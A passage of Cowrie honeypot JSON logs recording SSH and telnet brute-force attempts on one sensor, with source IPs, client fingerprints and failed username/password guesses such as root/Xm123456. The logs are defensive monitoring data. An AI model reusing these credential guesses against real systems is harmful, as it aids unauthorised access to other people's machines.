openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:26.718894Z","src_ip":"118.193.33.81","session":"3b9ad0d50e4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xm123456","message":"login attempt [root/Xm123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:27.633080Z","src_ip":"118.193.33.81","session":"3b9ad0d50e4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:28.894976Z","src_ip":"118.193.33.81","session":"3b9ad0d50e4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":48732,"dst_ip":"159.203.135.109","dst_port":22,"session":"fed2d659fa87","protocol":"ssh","message":"New connection: 81.30.162.19:48732 (159.203.135.109:22) [session: fed2d659fa87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:34.972575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:34.978052Z","src_ip":"81.30.162.19","session":"fed2d659fa87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:35.095429Z","src_ip":"81.30.162.19","session":"fed2d659fa87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe!@#","message":"login attempt [root/QWEqwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:35.590238Z","src_ip":"81.30.162.19","session":"fed2d659fa87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:36.711101Z","src_ip":"81.30.162.19","session":"fed2d659fa87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":52724,"dst_ip":"159.203.135.109","dst_port":23,"session":"66ea714e7d6c","protocol":"telnet","message":"New connection: 185.26.126.47:52724 (159.203.135.109:23) [session: 66ea714e7d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:39.725783Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33282,"dst_ip":"159.203.135.109","dst_port":22,"session":"255c39eaf1ab","protocol":"ssh","message":"New connection: 159.203.92.129:33282 (159.203.135.109:22) [session: 255c39eaf1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:04.793641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:04.799055Z","src_ip":"159.203.92.129","session":"255c39eaf1ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:04.804290Z","src_ip":"159.203.92.129","session":"255c39eaf1ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ant","password":"123456","message":"login attempt [ant/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:04.817921Z","src_ip":"159.203.92.129","session":"255c39eaf1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:05.828861Z","src_ip":"159.203.92.129","session":"255c39eaf1ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":60554,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc2bd055742a","protocol":"ssh","message":"New connection: 157.7.113.83:60554 (159.203.135.109:22) [session: dc2bd055742a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:07.634662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:07.639421Z","src_ip":"157.7.113.83","session":"dc2bd055742a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:07.804772Z","src_ip":"157.7.113.83","session":"dc2bd055742a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic@1234","message":"login attempt [elastic/elastic@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:08.470290Z","src_ip":"157.7.113.83","session":"dc2bd055742a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:09.641703Z","src_ip":"157.7.113.83","session":"dc2bd055742a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":47562,"dst_ip":"159.203.135.109","dst_port":23,"session":"d171ba172604","protocol":"telnet","message":"New connection: 185.26.126.47:47562 (159.203.135.109:23) [session: d171ba172604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:12.531525Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":45364,"dst_ip":"159.203.135.109","dst_port":22,"session":"a43a6ce36eed","protocol":"ssh","message":"New connection: 118.193.33.81:45364 (159.203.135.109:22) [session: a43a6ce36eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:18.608389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:18.623040Z","src_ip":"118.193.33.81","session":"a43a6ce36eed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:18.840042Z","src_ip":"118.193.33.81","session":"a43a6ce36eed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password4321","message":"login attempt [root/Password4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:19.716992Z","src_ip":"118.193.33.81","session":"a43a6ce36eed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:20.946045Z","src_ip":"118.193.33.81","session":"a43a6ce36eed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.034597396850586,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:21.565999Z","src_ip":"185.26.126.47","session":"d171ba172604","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.28593611717224,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:22.011606Z","src_ip":"185.26.126.47","session":"66ea714e7d6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":57302,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ecf484ace7a","protocol":"ssh","message":"New connection: 81.30.162.19:57302 (159.203.135.109:22) [session: 4ecf484ace7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:27.445992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:27.450286Z","src_ip":"81.30.162.19","session":"4ecf484ace7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:27.569045Z","src_ip":"81.30.162.19","session":"4ecf484ace7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd!@#$%","message":"login attempt [root/Abcd!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:28.079784Z","src_ip":"81.30.162.19","session":"4ecf484ace7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:29.202164Z","src_ip":"81.30.162.19","session":"4ecf484ace7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44372,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e2dcd0242a3","protocol":"ssh","message":"New connection: 159.203.92.129:44372 (159.203.135.109:22) [session: 8e2dcd0242a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:50.015655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:50.020599Z","src_ip":"159.203.92.129","session":"8e2dcd0242a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:50.025180Z","src_ip":"159.203.92.129","session":"8e2dcd0242a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ant","password":"ant","message":"login attempt [ant/ant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:50.036100Z","src_ip":"159.203.92.129","session":"8e2dcd0242a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:34:51.042394Z","src_ip":"159.203.92.129","session":"8e2dcd0242a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":44440,"dst_ip":"159.203.135.109","dst_port":22,"session":"87292ebf01f1","protocol":"ssh","message":"New connection: 157.7.113.83:44440 (159.203.135.109:22) [session: 87292ebf01f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:05.804355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:05.809602Z","src_ip":"157.7.113.83","session":"87292ebf01f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:05.965305Z","src_ip":"157.7.113.83","session":"87292ebf01f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zy123456!","message":"login attempt [root/Zy123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:06.617649Z","src_ip":"157.7.113.83","session":"87292ebf01f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:07.779037Z","src_ip":"157.7.113.83","session":"87292ebf01f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":33670,"dst_ip":"159.203.135.109","dst_port":23,"session":"f353fe3632c5","protocol":"telnet","message":"New connection: 185.26.126.47:33670 (159.203.135.109:23) [session: f353fe3632c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:10.896768Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":38290,"dst_ip":"159.203.135.109","dst_port":22,"session":"01c8da0b1ba9","protocol":"ssh","message":"New connection: 118.193.33.81:38290 (159.203.135.109:22) [session: 01c8da0b1ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:12.424218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:12.429347Z","src_ip":"118.193.33.81","session":"01c8da0b1ba9","protocol":"ssh"}
